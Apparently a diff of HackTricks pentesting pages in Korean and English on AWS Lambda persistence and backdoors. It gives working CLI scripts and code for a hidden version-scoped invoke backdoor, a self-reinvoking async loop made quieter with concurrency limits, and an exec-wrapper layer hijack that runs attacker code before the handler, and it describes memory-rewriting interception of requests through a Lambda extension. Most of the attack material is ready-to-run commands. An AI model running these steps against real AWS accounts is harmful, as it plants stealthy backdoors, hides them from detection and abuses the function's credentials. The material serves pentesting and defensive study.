Lambda 확장은 다양한 **모니터링, 가시성, 보안 및 거버넌스 도구**와 통합하여 기능을 향상시킵니다. 이러한 확장은 [.zip 아카이브를 사용한 Lambda 레이어](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 또는 [컨테이너 이미지 배포에 포함](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/)되어 두 가지 모드에서 작동합니다: **내부** **외부**.
- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
- **내부 확장**은 런타임 프로세스와 통합되어 **언어별 환경 변수** 및 **래퍼 스크립트**를 사용하여 시작을 조작합니다. 이 사용자 정의는 **Java Correto 8 11, Node.js 10 12, .NET Core 3.1**을 포함한 다양한 런타임에 적용됩니다.
- **외부 확장**은 별도의 프로세스로 실행되며, Lambda 함수의 생명 주기와 운영 정렬을 유지합니다. 이들은 **Node.js 10 12, Python 3.7 3.8, Ruby 2.5 2.7, Java Corretto 8 11, .NET Core 3.1** 및 **사용자 정의 런타임**과 호환됩니다.
For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
[**Lambda 확장이 작동하는 방식에 대한 자세한 정보는 문서를 확인하세요**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
### External Extension for Persistence, Stealing Requests & modifying Requests
### 지속성, 요청 훔치기 및 요청 수정용 외부 확장
This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
이 게시물에서 제안된 기술의 요약입니다: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapids heap memory, by design.**
Lambda 런타임 환경의 기본 Linux 커널이 “**process_vm_readv**” “**process_vm_writev**” 시스템 호출로 컴파일되어 있다는 것이 발견되었습니다. 그리고 모든 프로세스는 동일한 사용자 ID로 실행되며, 외부 확장을 위해 생성된 새로운 프로세스도 마찬가지입니다. **이는 외부 확장이 설계상 Rapid의 힙 메모리에 대한 전체 읽기 및 쓰기 액세스를 갖는다는 것을 의미합니다.**
Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
게다가, Lambda 확장은 **호출 이벤트에 구독할 수 있는 능력**이 있지만, AWS는 이러한 확장에 원시 데이터를 공개하지 않습니다. 이는 **확장이 HTTP 요청을 통해 전송된 민감한 정보에 접근할 수 없도록 보장합니다.**
The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
Init (Rapid) 프로세스는 [http://127.0.0.1:9001](http://127.0.0.1:9001/)에서 모든 API 요청을 모니터링하며, Lambda 확장은 초기화되고 모든 런타임 코드 실행 전에 실행되지만 Rapid 이후에 실행됩니다.
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
변수 **`AWS_LAMBDA_RUNTIME_API`****자식 런타임 프로세스** 및 추가 확장에 대한 Rapid API **IP** 주소와 **포트** 번호를 나타냅니다.
> [!WARNING]
> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
> **`AWS_LAMBDA_RUNTIME_API`** 환경 변수를 우리가 접근할 수 있는 **`port`**로 변경함으로써, Lambda 런타임 내의 모든 작업을 가로챌 수 있습니다 (**man-in-the-middle**). 이는 확장이 Rapid Init과 동일한 권한으로 실행되며, 시스템의 커널이 **프로세스 메모리 수정**을 허용하여 포트 번호를 변경할 수 있기 때문에 가능합니다.
Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
**확장이 모든 런타임 코드 이전에 실행되기 때문에**, 환경 변수를 수정하면 런타임 프로세스(예: Python, Java, Node, Ruby)가 시작될 때 영향을 미칩니다. 또한, **우리의 확장 이후에 로드된** 확장도 이 변수를 의존하여 우리의 확장을 통해 라우팅됩니다. 이 설정은 악성 코드가 보안 조치나 로깅 확장을 런타임 환경 내에서 완전히 우회할 수 있게 할 수 있습니다.
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
도구 [**lambda-spy**](https://github.com/clearvector/lambda-spy)**메모리 쓰기**를 수행하고 Lambda 요청, 다른 **확장** **요청**에서 민감한 정보를 **훔치고** 심지어 **수정하는** 데 사용됩니다.
## References
## 참고 문헌
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,88 @@
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
{{#include ../../../../banners/hacktricks-training.md}}
## 요약
공격자 로직을 포함한 숨겨진 Lambda 버전을 생성하고, `lambda add-permission``--qualifier` 파라미터를 사용해 리소스 기반 정책을 해당 특정 버전(또는 alias)에만 적용합니다. 공격자 principal에게는 `arn:aws:lambda:REGION:ACCT:function:FN:VERSION`에 대한 `lambda:InvokeFunction`만 부여합니다. 함수 이름이나 기본 alias를 통한 일반 호출은 영향을 받지 않으며, 공격자는 백도어된 버전 ARN을 직접 호출할 수 있습니다.
이는 Function URL을 노출하는 것보다 더 은밀하며 기본 트래픽 alias를 변경하지 않습니다.
## 필요한 권한 (공격자)
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
- `lambda:AddPermission` (to add version-scoped resource policy)
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
## 공격 단계 (CLI)
<details>
<summary>숨겨진 버전 게시, `--qualifier` 범위 권한 추가, 공격자로서 호출</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
# 1) Build a small backdoor handler and publish as a new version
cat > bdoor.py <<PY
import json, os, boto3
def lambda_handler(e, c):
ident = boto3.client(sts).get_caller_identity()
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
PY
zip bdoor.zip bdoor.py
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
echo "Published version: $VER ($VER_ARN)"
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
ATTACK_ROLE_NAME=ht-version-invoker
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
cat > /tmp/invoke-policy.json <<POL
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["lambda:InvokeFunction"],
"Resource": ["$VER_ARN"]
}]
}
POL
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
# Add resource-based policy scoped to the version (Qualifier)
aws lambda add-permission \
--function-name "$TARGET_FN" \
--qualifier "$VER" \
--statement-id ht-version-backdoor \
--action lambda:InvokeFunction \
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
--region $REGION
# 3) Assume the attacker role and invoke only the qualified version
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
cat /tmp/ver-out.json
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
```
</details>
## 영향
- primary alias를 수정하거나 Function URL을 노출하지 않고 함수의 숨겨진 버전을 호출할 수 있는 은밀한 backdoor를 제공합니다.
- resource-based policy `Qualifier`를 통해 노출을 지정된 version/alias로만 제한하여 detection surface를 줄이면서 attacker principal에 대한 신뢰할 수 있는 호출을 유지합니다.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,95 @@
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
{{#include ../../../../banners/hacktricks-training.md}}
Lambda의 비동기 Destinations과 Recursion 설정을 악용하여 외부 스케줄러(예: EventBridge, cron 등) 없이 함수가 지속적으로 자기 자신을 재호출하도록 만들 수 있다. 기본적으로 Lambda는 재귀 루프를 종료하지만, recursion config를 Allow로 설정하면 재귀 호출이 다시 가능해진다. Destinations는 비동기 invoke에 대해 서비스 측에서 전달을 처리하므로, 단 한 번의 seed invoke로 코드 없는 은밀한 heartbeat/backdoor 채널을 만들 수 있다. 원하면 reserved concurrency로 스로틀링하여 잡음을 줄일 수 있다.
Notes
- Lambda는 함수 자체를 직접 목적지로 설정하는 것을 허용하지 않는다. 대신 function alias를 목적지로 사용하고 execution role이 해당 alias를 invoke할 수 있도록 허용하라.
- 최소 권한: 대상 함수의 event invoke config 및 recursion config를 읽고/업데이트할 수 있는 권한, 버전 publish 및 alias 관리 권한, 그리고 execution role policy를 업데이트해 alias에 대해 lambda:InvokeFunction을 허용할 수 있는 권한.
## Requirements
- Region: us-east-1
- Vars:
- REGION=us-east-1
- TARGET_FN=<target-lambda-name>
## Steps
1) Get function ARN and current recursion setting
```
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
```
2) 버전을 게시하고 별칭을 생성/업데이트 (자기 자신 대상으로 사용됨)
```
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
```
3) 함수 실행 역할이 alias를 호출하도록 허용(필요: Lambda Destinations→Lambda)
```
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
```
4) 비동기 대상(async destination)을 alias(자기 자신을 alias를 통해)로 구성하고 재시도를 비활성화하세요.
```
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION
# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
```
5) 재귀 루프 허용
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
```
6) 단일 비동기 invoke 생성
```
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
```
7) 지속적인 호출 관찰 (예시)
```
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
```
8) 선택적 은밀 제한
```
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
```
## 정리
루프를 중단하고 persistence를 제거합니다.
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
```
## 영향
- 단일 async invoke는 외부 스케줄러 없이 Lambda가 지속적으로 자기 자신을 재호출하게 하여 은밀한 persistence/heartbeat를 가능하게 한다. Reserved concurrency는 소음을 단일 warm execution으로 제한할 수 있다.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,94 @@
# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
{{#include ../../../../banners/hacktricks-training.md}}
## 요약
환경 변수 `AWS_LAMBDA_EXEC_WRAPPER`를 악용하여 runtime/handler가 시작되기 전에 공격자가 제어하는 래퍼 스크립트를 실행합니다. 래퍼를 Lambda Layer의 `/opt/bin/htwrap`에 배포하고 `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`로 설정한 뒤 함수를 호출하세요. 래퍼는 함수 런타임 프로세스 내에서 실행되며 함수 실행 역할을 상속하고, 마지막에 실제 런타임을 `exec`하여 원래 핸들러가 정상적으로 실행되도록 합니다.
> [!WARNING]
> 이 기법은 대상 Lambda의 소스 코드나 역할을 수정하지 않고, iam:PassRole이 없어도 코드 실행을 허용합니다. 함수 구성을 업데이트하고 레이어를 게시/첨부할 수 있는 권한만 있으면 됩니다.
## 필요한 권한 (공격자)
- `lambda:UpdateFunctionConfiguration`
- `lambda:GetFunctionConfiguration`
- `lambda:InvokeFunction` (or trigger via existing event)
- `lambda:ListFunctions`, `lambda:ListLayers`
- `lambda:PublishLayerVersion` (same account) and optionally `lambda:AddLayerVersionPermission` if using a cross-account/public layer
## 래퍼 스크립트
레이어의 `/opt/bin/htwrap`에 래퍼를 배치하세요. 래퍼는 핸들러 실행 전 로직을 수행할 수 있으며 실제 런타임으로 이어지도록 마지막에 `exec "$@"`로 끝나야 합니다.
```bash
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
```
## 공격 단계 (CLI)
<details>
<summary>레이어 게시, 대상 함수에 첨부, wrapper 설정, 호출</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>
# 1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin
cat > layer/bin/htwrap <<'WRAP'
#!/bin/bash
set -euo pipefail
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
PY
exec "$@"
WRAP
chmod +x layer/bin/htwrap
(zip -qr htwrap-layer.zip layer)
# 2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version \
--layer-name ht-exec-wrapper \
--zip-file fileb://htwrap-layer.zip \
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
--query LayerVersionArn --output text --region "$REGION")
echo "$LAYER_ARN"
# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration \
--function-name "$TARGET_FN" \
--layers "$LAYER_ARN" \
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
--region "$REGION"
# Wait for update to finish
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
# 4) Invoke and verify via CloudWatch Logs
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
```
</details>
## 영향
- Lambda runtime 컨텍스트에서 함수의 기존 execution role을 사용하여 pre-handler 코드 실행 가능.
- 함수 코드나 role을 변경할 필요 없음; Python, Node.js, Java, .NET 등 일반적인 managed runtimes 전반에서 작동.
- handler가 실행되기 전에 persistence, credential access (예: STS), data exfiltration 및 runtime tampering을 가능하게 함.
{{#include ../../../../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More